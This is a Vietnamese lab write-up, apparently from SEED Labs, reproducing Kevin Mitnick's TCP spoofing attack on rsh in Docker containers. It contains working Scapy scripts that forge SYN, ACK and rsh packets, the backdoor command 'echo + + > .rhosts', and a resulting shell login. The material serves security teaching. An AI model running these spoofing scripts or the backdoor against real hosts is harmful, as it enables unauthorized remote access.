How the Mitnick Attack Works

Mitnick attack là một dạng đặc biệt của TCP Session Hijacking attack, được thực hiện ở trên các máy tính của Shinomura (một nhà nghiên cứu bảo mật mạng di động) bởi hacker Kevin Mitnick. Thay vì tấn công vào một kết nối TCP có sẵn thì Mitnick giả dạng để thiết lập một kết nối TCP rồi tấn công vào kết nối đó.

Ta gọi 2 host trong Mitnick attack là host A và host B:

  • Host A được gọi là X-Terminal và là mục tiêu để thực thi các câu lệnh.
  • Host B là một máy chủ tin cậy mà host A cho phép đăng nhập vào mà không cần mật khẩu. Để đăng nhập vào X-Terminal, Mitnick cần giả dạng host B.

Minh họa:

Cuộc tấn công bao gồm 4 bước:

Step 1: Sequence Number Prediction

Trước cuộc tấn công, Mitnick cần tìm hiểu khuôn mẫu của initial sequence number (ISN) ở trên X-Terminal (ngày xưa, ISN không có giá trị ngẫu nhiên). Để thực hiện điều này, Mitnick gửi các gói tin SYN đến X-Terminal và nhận lại gói tin SYN+ACK có chứa ISN. Sau đó, ông ta gửi gói tin RESET đến X-Terminal để xóa half-opened connection ở trong hàng đợi của X-Terminal nhằm tránh việc hàng đợi bị đầy. Sau khi lặp lại việc này khoảng 20 lần, Mitnick tìm ra khuôn mẫu giữa hai ISN liên tiếp.

Step 2: SYN Flooding Attack on the Trusted Server

Khi Mitnick gửi gói tin SYN từ máy chủ tin cậy đến X-Terminal để thiết lập kết nối, X-Terminal sẽ gửi lại máy chủ tin cậy gói tin SYN+ACK. Do máy chủ tin cậy không gửi gói tin SYN nên nó sẽ gửi gói tin RESET đến X-Terminal để dừng quá trình bắt tay ba bước. Hành vi này làm ảnh hưởng đến việc tấn công của Mitnick.

Để giải quyết vấn để này, Mitnick cần vô hiệu hóa máy chủ tin cậy. Cụ thể, trước khi gửi gói tin SYN, Mitnick sẽ tấn công SYN Flooding để gây ra trạng thái từ chối dịch vụ và shutdown máy chủ tin cậy (ngày trước, các hệ điều hành dễ bị tổn thương trước tấn công SYN flooding).

Step 3: Spoofing a TCP Connection

Mitnick muốn sử dụng rsh (remote shell) để chạy các câu lệnh từ xa ở trên X-Terminal. Để sử dụng remote shell ở trên X-Terminal, Mitnick cần truyền vào thông tin xác thực mà cụ thể là một tài khoản hợp lệ ở trên X-Terminal. Tất nhiên, Mitnick không có thông tin này.

Sninomura thường cần đăng nhập vào X-Terminal từ máy chủ tin cậy. Để tránh việc nhập lại mật khẩu mỗi lần đăng nhập, Shinomura đã thêm một vài thông tin vào file .rhosts ở trên X-Terminal (đây là một cách làm phổ biến ngày đó). Bằng cách này, Shinomura có thể chạy câu lệnh ở trên X-Terminal từ máy chủ tin cậy thông qua rsh hoặc dùng rlogin để đăng nhập vào X-Terminal. Mitnick muốn khai thác mối quan hệ tin cậy này.

Mitnick cần tạo ra một kết nối TCP giữa máy chủ tin cậy và X-Terminal rồi chạy rsh ở trong kết nối này. Trước tiên, ông ta gửi một gói tin SYN giả mạo đến X-Terminal sử dụng địa chỉ IP của máy chủ tin cậy. X-Terminal sau đó gửi lại gói tin SYN+ACK cho máy chủ tin cậy nhưng máy chủ tin cậy đã bị vô hiệu hóa nên nó không thể gửi lại gói tin RESET để đóng kết nối.

Để hoàn thành quá trình bắt tay ba bước, Mitnick cần gửi một gói tin ACK giả mạo có ACK number là sequence number của gói tin SYN+ACK được gửi từ X-Terminal. Tuy nhiên, gói tin SYN+ACK chỉ được gửi cho máy chủ tin cậy nên Mitnick không biết giá trị sequence number này. Dẫu vậy, sau khi thực hiện Step 1 Sequence Number Prediction, Mitnick đã có thể dự đoán được sequence number và có thể tạo ra gói tin ACK giả mạo.

Step 4: Running a Remote Shell

Sử dụng kết nối TCP đã được thiết lập, Mitnick có thể gửi một remote shell request đến X-Terminal để yêu cầu nó thực thi câu lệnh sau:

echo + + > .rhosts

Do rshrlogin sử dụng .rhosts để xác thực, việc thêm chuỗi + + vào file này giúp cho bất kỳ ai cũng có thể sử dụng rshrlogin. Nói cách khác, Mitnick đã sử dụng câu lệnh trên để tạo ra backdoor nhằm sử dụng shell của X-Terminal bất cứ khi nào mà không cần thực hiện lại việc tấn công.

Environment Setup

Trong lab này, chúng ta sử dụng 3 máy: một cho X-Terminal, một cho máy chủ tin cậy và một cho kẻ tấn công. Trong thực tế, attacker machine là một máy từ xa. Tuy nhiên, để đơn giản hóa, lab đã đặt cả 3 máy này ở trong cùng một mạng.

Sơ đồ mạng:

Attacker container có sử dụng network_mode: host để lắng nghe traffic của các host khác trong mạng. Ngoài ra, để có thể chỉnh các tham số kernel, attacker container cần phải có đặc quyền nên nó có cấu hình privileged: true.

Installing the rsh Program

Chương trình rshrlogin giúp thực thi các câu lệnh từ xa tương tự như SSH nhưng nó không an toàn và đã không còn được sử dụng. Đây là lý do mà trong các hệ điều hành hiện đại, rsh là một symbolic link đến ssh:

$ ls -al /etc/alternatives | grep rsh
lrwxrwxrwx 1 root root 12 Jul 25 2017 rsh -> /usr/bin/ssh

Để tái hiện Mitnick attack, chúng ta cần cài đặt phiên bản không an toàn của rsh. Rõ ràng là phiên bản cũ của rsh đã không còn hoạt động. Tuy nhiên, có một dự án mã nguồn mở tên là rsh-redone đã re-implement client và server cho rsh. Chúng ta có thể dùng các câu lệnh sau để cài đặt rsh client và server:

$ sudo apt-get install rsh-redone-client
$ sudo apt-get install rsh-redone-server

Việc cài đặt này đã được thực hiện tự động thông qua Dockerfile mà lab cung cấp:

FROM handsonsecurity/seed-ubuntu:large
ARG DEBIAN_FRONTEND=noninteractive
 
# Extra package needed by the Mitnick Attack Lab
RUN apt-get update \
    && apt-get -y install \
          rsh-redone-client \
          rsh-redone-server \
    && rm -rf /var/lib/apt/lists/*

Configuration

Chương trình rsh server sẽ sử dụng hai file để thực hiện xác thực: .rhosts/etc/hosts.equiv. Bất cứ khi nào server nhận được request, nó sẽ kiểm tra /etc/hosts.equiv. Nếu request đến từ một hostname có trong file, server sẽ chấp nhận mà không yêu cầu mật khẩu. Ngược lại, rsh server sẽ kiểm tra file .rhosts ở thư mục home của người dùng.

Shinomura thường xuyên cần chạy các câu lệnh từ xa ở trên X-Terminal nên đã tạo ra file .rhosts và thêm vào IP của máy chủ tin cậy.

Sử dụng các câu lệnh sau để thiết lập file .rhosts:

# su seed
$ cd
$ touch .rhosts
$ echo [Server's IP address] > .rhosts
$ chmod 644 .rhosts

Note

Khi chúng ta truy cập vào container thì tài khoản mặc định là root. Trong lab này, ta cần chuyển sang một người dùng bình thường là seed.

Để kiểm tra cấu hình, thử chạy câu lệnh sau ở trên máy chủ tin cậy bằng tài khoản seed:

$ rsh 10.9.0.5 date

Nếu câu lệnh trên in ra thời gian hiện tại thì cấu hình là đúng. Trong trường hợp có lỗi “Authentication Failure” xảy ra, ta cần đảm bảo rằng file .rhosts chỉ được ghi bởi chủ sở hữu (seed).

Task 1: Simulated SYN Flooding

Các hệ điều hành tại thời điểm xảy ra Mitnick attack dễ bị tổn thương bởi SYN flood. Tuy nhiên, cách tấn công này không có tác dụng đối với các hệ điều hành hiện đại. Do đó, chúng ta cần giả lập hiệu ứng này.

Chúng ta có thể tắt máy chủ tin cậy một cách thủ công. Như đã biết, khi X-Terminal nhận gói tin SYN, nó sẽ phản hồi lại gói tin SYN+ACK. Trước khi gửi gói tin này, nó cần phải biết địa chỉ MAC của bên nhận. Khi đó, ARP cache sẽ được kiểm tra và nếu như không có entry nào thì nó sẽ gửi gói tin ARP request để phân giải địa chỉ MAC. Do chúng ta đã tắt máy chủ tin cậy, sẽ không có ai phản hồi lại gói tin ARP reply nên X-Terminal sẽ không thể gửi đi gói tin SYN+ACK. Dẫn đến, kết nối TCP sẽ không được thiết lập.

Trong cuộc tấn công thực, địa chỉ MAC của máy chủ tin cậy đã ở trong ARP cache của X-Terminal. Cho dù không có, trước khi tắt máy chủ tin cậy, chúng ta có thể gửi gói tin ICMP echo request giả mạo từ máy chủ tin cậy đến X-Terminal. Điều này khiến cho X-Terminal gửi lại gói tin ICMP echo reply và lưu địa chỉ MAC của máy chủ tin cậy vào ARP cache.

Cần chú ý rằng ARP cache entry có thể bị xóa bởi hệ điều hành nếu nó không thể kết nối đến địa chỉ IP mà được ánh xạ với địa chỉ MAC ở trong entry. Để đơn giản hóa việc tấn công, chúng ta có thể thêm vĩnh viễn một entry vào ARP cache bằng câu lệnh sau (chạy ở quyền root):

$ arp -s [Server's IP] [Server's MAC]

Ví dụ:

$ arp -s 10.9.0.6 02:42:0a:09:00:06

Info

Đã thử những tấn công sau ở trên attacker container nhưng không thành công:

  • SYN Flooding (để gây ra DoS cho port 514 của rsh).
  • ARP Cache Poisoning (để thêm ARP entry của máy chủ tin cậy vào ARP cache của X-Terminal).

Sau khi ARP cache có entry thì ta sẽ tắt container của máy chủ tin cậy:

$ docker stop trusted-server-10.9.0.6
trusted-server-10.9.0.6

Task 2: Spoof TCP Connections and rsh Sessions

Sau khi vô hiệu hóa máy chủ tin cậy, ta có thể mở kết nối TCP với X-Terminal. Để mở kết nối TCP, ta cần biết sequence number để xây dựng gói tin ACK. Các hệ điều hành hiện đại thực hiện sinh ngẫu nhiên sequence number (nhằm chống TCP Session Hijacking) nên việc này là bất khả thi.

Các ràng buộc: lab cho phép chúng ta lắng nghe các gói tin và sử dụng các trường sau của gói tin được capture:

  • TCP sequence number (không bao gồm ACK number).
  • TCP flag.
  • Tất cả các trường liên quan đến kích thước, bao gồm: kích thước IP header, tổng kích thước IP và kích thước TCP header.

The behavior of rsh: để tạo ra rsh session, ta cần hiểu hành vi của nó. Ta sẽ mở một rsh session từ máy chủ tin cậy (rsh client) đến X-Terminal (rshserver):

// On Trusted Server
$ rsh 10.9.0.5 date

Rồi sử dụng Wireshark để bắt các gói tin. Các gói tin thu được:

# The first connection
	SRC IP      DEST IP     TCP Header                           
1	10.9.0.6    10.9.0.5    1023 -> 514 [SYN] Seq=778933536       
2	10.9.0.5    10.9.0.6    514 -> 1023 [SYN,ACK] Seq=10879102 Ack=778933537 
3	10.9.0.6    10.9.0.5    1023 -> 514 [ACK] Seq=778933537 Ack=10879103 
4	10.9.0.6    10.9.0.5    1023 -> 514 [ACK] Seq=778933537 Ack=10879103 Len=20 
	            RSH Session Establishment                           
	            Data: 1022\x00seed\x00seed\x00date\x00              
5	10.9.0.5    10.9.0.6    514 -> 1023 [ACK] Seq=10879103 Ack=778933557 
	
	# The second connection                                        
6	10.9.0.5    10.9.0.6    1023 -> 1022 [SYN] Seq=3920611526       
7	10.9.0.6    10.9.0.5    1022 -> 1023 [SYN,ACK] Seq=3958269143 Ack=3920611527 
8	10.9.0.5    10.9.0.6    1023 -> 1022 [ACK] Seq=3920611527 Ack=3958269144 
	
	# Going back to the first connection                           
9	10.9.0.5    10.9.0.6    514 -> 1023 [ACK] Seq=10879103 Ack=778933557 Len=1 
	            Data: \x00                                            
10	10.9.0.6    10.9.0.5    1023 -> 514 [ACK] Seq=778933557 Ack=10879104 
11	10.9.0.5    10.9.0.6    514 -> 1023 [ACK] Seq=10879104 Ack=778933557 Len=29 
	            Data: Sun Feb 16 13:41:17 EST 2020                 

Có thể thấy, một rsh session sẽ bao gồm 2 kết nối TCP. Kết nối đầu tiên được khởi tạo bởi rsh client. Tiến trình rshd ở trên rsh server sẽ lắng nghe các yêu cầu kết nối ở trên port 514. Các gói tin từ 1 đến 3 là quá trình bắt tay 3 bước.

Sau khi kết nối TCP được thiết lập, rsh client sẽ gửi các user ID và câu lệnh đến rsh server (gói tin 4). Tiến trình rshd ở trênrsh server sẽ thực hiện xác thực và nếu user xác thực thành công, nó sẽ khởi tạo một thêm một kết nối TCP với rsh client (gói tin 6 đến 8). Kết nối này được dùng để gửi các thông điệp lỗi. Ở trong các gói tin trên, do không có lỗi nên kết nối không bao giờ được sử dụng.

Sau khi kết nối TCP thứ 2 được thiết lập, rsh server sẽ gửi một byte rỗng đến rsh client sử dụng kết nối TCP đầu tiên. Khi nhận được gói tin này, rsh client sẽ gửi gói tin ACK. Kế đến, rsh server sẽ chạy câu lệnh được gửi đến bởi rsh client và trả về output.

Task 2.1: Spoof the First TCP Connection

Minh họa cho các bước dùng để tạo ra kết nối TCP đầu tiên:

Step 1: Spoof a SYN Packet

Xây dựng script như sau để gửi gói tin SYN:

from scapy.all import *
from scapy.layers.inet import IP, TCP
 
x_ip = "10.9.0.5"  # X-Terminal
x_port = 514  # Port number used by X-Terminal
 
srv_ip = "10.9.0.6"  # The trusted server
srv_port = 1023  # Port number used by the trusted server
 
seq_num = 0x1000
 
 
def spoof_syn():
    global seq_num
 
    ip = IP(src=srv_ip, dst=x_ip)
    tcp = TCP(
        sport=srv_port,
        dport=x_port,
        flags="S",
        seq=seq_num,
    )
    seq_num += 1
    pkt = ip / tcp
    send(pkt, verbose=False)
 
spoof_syn()

Note

Chú ý rằng source port của gói tin SYN cần phải là 1023. Nếu không, rsh sẽ reset kết nối sau khi nó được thiết lập.

Ngoài ra, ta lưu lại giá trị sequence number (biến seq_num) để phục vụ cho việc gửi các gói tin sau.

Sau khi gửi gói tin SYN, X-Terminal sẽ trả về gói tin SYN+ACK. Do ở cùng mạng với X-Terminal và máy chủ tin cậy, ta có thể capture gói tin SYN+ACK trả về từ X-Terminal và lấy ra sequence number để xây dựng gói tin ACK.

Step 2: Respond to the SYN+ACK Packet

Lắng nghe các gói tin TCP từ địa chỉ IP của X-Terminal và không đến từ địa chỉ MAC của attackeer container:

myFilter = f"tcp and ip src {x_ip} and not (ether src {attacker_mac})"
sniff(iface="br-dc64fd8b10c0", filter=myFilter, prn=got_pkt)

Callback got_pkt() giúp xử lý gói tin:

def got_pkt(pkt):
    old_ip = pkt[IP]
    old_tcp = pkt[TCP]
 
    # Print out debugging information
    print_debug_info(old_ip, old_tcp)
 
    # Construct the IP header of the response packet
    ip = IP(src=srv_ip, dst=x_ip)
 
    # Step 2: send spoofed ACK packet for the first TCP connection
    if "S" in old_tcp.flags and "A" in old_tcp.flags:
        pkt.show()
        tcp = spoof_ack(ip, old_tcp)

Câu điều kiện trong đoạn script trên gọi hàm spoof_ack() để gửi gói tin ACK cho gói tin SYN+ACK capture được.

Gói tin ACK mà ta cần gửi lại phải có:

  • Sequence number là seq_num + 1 (đã thực hiện tăng giá trị trong hàm spoof_syn()).
  • ACK number là S + 1 với S là sequence number ở trong gói tin SYN+ACK.

Hàm spoof_ack():

def spoof_ack(ip, old_tcp):
    global seq_num
 
    tcp = TCP(sport=srv_port, dport=x_port, flags="A", seq=seq_num, ack=old_tcp.seq + 1)
    seq_num += 1
    spoof_ack_pkt = ip / tcp
 
    spoof_ack_pkt.show()
    send(spoof_ack_pkt, verbose=False)
 
    return tcp

Sau khi xây dựng gói tin TCP, hàm trên thực hiện tăng giá trị của biến toàn cục seq_num để dùng cho các lần gửi gói tin sau. Ngoài ra, ta trả về các TCP header để dùng cho việc gửi gói tin RSH.

Gói tin SYN+ACK thu được:

###[ Ethernet ]###
  dst       = 02:42:0a:09:00:06
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 44
     id        = 0
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0x26b0
     src       = 10.9.0.5
     dst       = 10.9.0.6
     \options   \
###[ TCP ]###
        sport     = shell
        dport     = 1023
        seq       = 2444553870
        ack       = 4097
        dataofs   = 6
        reserved  = 0
        flags     = SA
        window    = 32120
        chksum    = 0x143b
        urgptr    = 0
        options   = [('MSS', 1460)]

Gói tin ACK gửi đi có dạng như sau:

###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = tcp
  chksum    = None
  src       = 10.9.0.6
  dst       = 10.9.0.5
  \options   \
###[ TCP ]###
     sport     = 1023
     dport     = shell
     seq       = 4097
     ack       = 2444553871
     dataofs   = None
     reserved  = 0
     flags     = A
     window    = 8192
     chksum    = None
     urgptr    = 0
     options   = []

Socket ở port 514 của X-Terminal trước khi tấn công:

root@19974110e72a:~# netstat -tan | grep :514
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN

Sau khi tấn công:

root@19974110e72a:/# netstat -tan | grep :514
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:514            10.9.0.6:1023           ESTABLISHED

Step 3: Spoof the rsh Data Packet

Như đã biết, sau khi thiết lập kết nối TCP đầu tiên, rsh client cần gửi gói tin TCP có payload như sau:

[port number]\x00[uid_client]\x00[uid_server]\x00[your command]\x00

Payload gồm 4 phần, phân cách nhau bằng byte rỗng: port number, user ID của client, user ID của server và câu lệnh cần thực thi. Giá trị của port number sẽ được sử dụng cho kết nối TCP thứ hai.

Xây dựng hàm để gửi gói tin RSH:

error_port = 9090  # Port number used by the trusted server for error messages
 
# ...
 
def spoof_rsh_data(ip, tcp):
    global seq_num
    
    data = f"{error_port}\x00seed\x00seed\x00touch /tmp/xyz\x00"
    rsh_data_pkt = ip / tcp / data
    seq_num += len(data)
    
    rsh_data_pkt.show()
    send(rsh_data_pkt, verbose=False)

Ta sẽ dùng lại TCP header của gói tin ACK trước đó như sau:

def got_pkt(pkt):
	# ...
	if "S" in old_tcp.flags and "A" in old_tcp.flags:
		pkt.show()
		tcp = spoof_ack(ip, old_tcp)
		spoof_rsh_data(ip, tcp)

Gói tin RSH gửi đi có dạng như sau:

###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = tcp
  chksum    = None
  src       = 10.9.0.6
  dst       = 10.9.0.5
  \options   \
###[ TCP ]###
     sport     = 1023
     dport     = shell
     seq       = 4097
     ack       = 4092784241
     dataofs   = None
     reserved  = 0
     flags     = A
     window    = 8192
     chksum    = None
     urgptr    = 0
     options   = []
###[ Raw ]###
        load      = '9090\x00seed\x00seed\x00echo + + > .rhosts\x00'

Task 2.2: Spoof the Second TCP Connection

Sau khi gửi gói tin RSH, rsh server sẽ mở kết nối TCP đến rsh client bằng gói tin SYN. Chúng ta cần phải hồi lại gói tin SYN+ACK nhằm hoàn tất quá trình bắt tay ba bước.

Thêm một nhánh điều kiện ở trong callback got_pkt() để xử lý các gói tin SYN:

elif old_tcp.flags == "S":
	pkt.show()
 
	# Step 4: send spoofed ACK packet for the error messages TCP connection
	spoof_syn_ack(ip, old_tcp)

Hàm spoof_syn_ack() giúp gửi gói tin SYN+ACK:

seq_num2 = 0x2000
 
# ...
 
def spoof_syn_ack(ip, old_tcp):
    global seq_num2
 
    tcp = TCP(
        sport=error_port,
        dport=srv_port,
        flags="SA",
        seq=seq_num2,
        ack=old_tcp.seq + 1,
    )
 
    spoof_ack_pkt = ip / tcp
    seq_num2 += 1
    spoof_ack_pkt.show()
    send(spoof_ack_pkt, verbose=False)

Source port của gói tin là port mà ta đã khai báo ở trong gói tin RSH còn destination port là 1023. ACK number của gói tin là S + 1 với S là sequence number của gói tin SYN mà ta thu được.

Gói tin SYN thu được:

###[ Ethernet ]###
  dst       = 02:42:0a:09:00:06
  src       = 02:42:0a:09:00:05
  type      = IPv4
###[ IP ]###
     version   = 4
     ihl       = 5
     tos       = 0x0
     len       = 60
     id        = 27647
     flags     = DF
     frag      = 0
     ttl       = 64
     proto     = tcp
     chksum    = 0xbaa0
     src       = 10.9.0.5
     dst       = 10.9.0.6
     \options   \
###[ TCP ]###
        sport     = 1023
        dport     = 9090
        seq       = 1806427169
        ack       = 0
        dataofs   = 10
        reserved  = 0
        flags     = S
        window    = 32120
        chksum    = 0x144b
        urgptr    = 0
        options   = [('MSS', 1460), ('SAckOK', b''), ('Timestamp', (875257771, 0)), ('NOP', None), ('WScale', 7)]

Gói tin SYN+ACK gửi đi:

###[ IP ]###
  version   = 4
  ihl       = None
  tos       = 0x0
  len       = None
  id        = 1
  flags     =
  frag      = 0
  ttl       = 64
  proto     = tcp
  chksum    = None
  src       = 10.9.0.6
  dst       = 10.9.0.5
  \options   \
###[ TCP ]###
     sport     = 9090
     dport     = 1023
     seq       = 989836914
     ack       = 1806427170
     dataofs   = None
     reserved  = 0
     flags     = SA
     window    = 8192
     chksum    = None
     urgptr    = 0
     options   = []

Các port TCP đang lắng nghe ở trên X-Terminal trước khi tấn công:

root@19974110e72a:/# netstat -tanl
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:43057        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN

Sau khi tấn công:

root@19974110e72a:/# netstat -tanl
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:43057        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN
tcp        0      2 10.9.0.5:514            10.9.0.6:1023           FIN_WAIT1
tcp        0      1 10.9.0.5:1023           10.9.0.6:9090           FIN_WAIT1

Kiểm tra ở trên X-Terminal thì thấy có tồn tại tập tin /xyz/tmp:

root@19974110e72a:~# cd /tmp
root@19974110e72a:/tmp# ls
xyz

Điều này cho thấy ta đã thực thi lệnh thành công.

Task 2.3: Close the TCP Connections

Có thể thấy, cả hai port 514 và 1023 đều đã được sử dụng xong và ở trạng thái chờ kết thúc (FIN_WAIT1). Cụ thể hơn, cả hai port này đều gửi các gói tin FIN+ACK nhằm đóng kết nối TCP:

10.9.0.5:1023 -> 10.9.0.6:9090 Flags=FA Len=0
10.9.0.5:514 -> 10.9.0.6:1023 Flags=FA Len=0

Do không có gói tin ACK trả về nên kết nối chưa được đóng.

Chúng ta có thể thêm vào một nhánh điều kiện như sau:

elif "F" in old_tcp.flags and "A" in old_tcp.flags:
	pkt.show()
 
	# Extra step: close TCP connection
	spoof_ack(ip, old_tcp)

Sửa lại hàm spoof_ack() như sau:

def spoof_ack(ip, old_tcp):
    global seq_num
    global seq_num2
 
    tcp = TCP(
        sport=old_tcp.dport,
        dport=old_tcp.sport,
        flags="A",
        seq=seq_num if old_tcp.dport == srv_port else seq_num2,
        ack=old_tcp.seq + 1,
    )
    seq_num += 1 if old_tcp.dport == srv_port else 0
    spoof_ack_pkt = ip / tcp
 
    spoof_ack_pkt.show()
    send(spoof_ack_pkt, verbose=False)
 
    return tcp

Có thể thấy, ta sẽ kiểm tra destination port trong gói tin FIN+ACK nhận được để sử dụng sequence number thích hợp cho từng kết nối TCP. Sau khi nhận được gói tin ACK, trạng thái của các kết nối chuyển sang FIN_WAIT2:

root@19974110e72a:/# netstat -tanl
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State
tcp        0      0 127.0.0.11:43057        0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:514             0.0.0.0:*               LISTEN
tcp        0      0 0.0.0.0:513             0.0.0.0:*               LISTEN
tcp        0      0 10.9.0.5:514            10.9.0.6:1023           FIN_WAIT2
tcp        0      0 10.9.0.5:1023           10.9.0.6:9090           FIN_WAIT2

Trạng thái này có ý nghĩa là server đã đóng và không thể gửi dữ liệu được nữa1.

Theo lý thuyết, chúng ta còn cần phải gửi lại gói tin FIN đến port 514 và 1023 để đóng hoàn toàn hai kết nối TCP2.

Task 3: Set Up a Backdoor

Thay câu lệnh ở trong gói tin RSH thành như sau:

echo + + > .rhosts

Câu lệnh này giúp bất kỳ ai cũng có thể sử dụng remote shell ở trên X-Terminal.

Tấn công lại rồi rsh vào X-Terminal bằng account seed ở trên attacker container:

seed@archlinux:/$ rsh 10.9.0.5
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 6.8.9-arch1-2 x86_64)
 
 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
 
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
 
To restore this content, you can run the 'unminimize' command.
 
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
 
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
 
seed@19974110e72a:~$ 
list
from outgoing([[SEED Lab - Mitnick Attack]])
sort file.ctime asc

Resources

Footnotes

  1. tham khảo FIN_WAIT state in TCP networking (iu.edu)

  2. xem thêm Closing TCP Connection.